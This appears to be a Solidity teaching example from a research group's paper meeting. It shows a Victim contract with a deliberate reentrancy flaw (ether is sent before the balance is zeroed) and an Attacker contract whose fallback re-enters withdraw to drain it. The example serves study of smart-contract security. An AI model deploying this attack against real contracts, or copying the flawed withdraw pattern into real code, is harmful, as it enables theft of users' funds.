2022-05-16 HSNL Paper Meeting

Example2.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;

contract Victim {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);
        
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success);

        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Victim public victim;
    
    constructor(address victim_address) {
        victim = Victim(victim_address);
    }
    
    fallback() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();
        }
    }
    
    function attack() external payable {
        require(msg.value >= 1 ether);
        victim.deposit{value: 1 ether}();
        victim.withdraw();
    }
}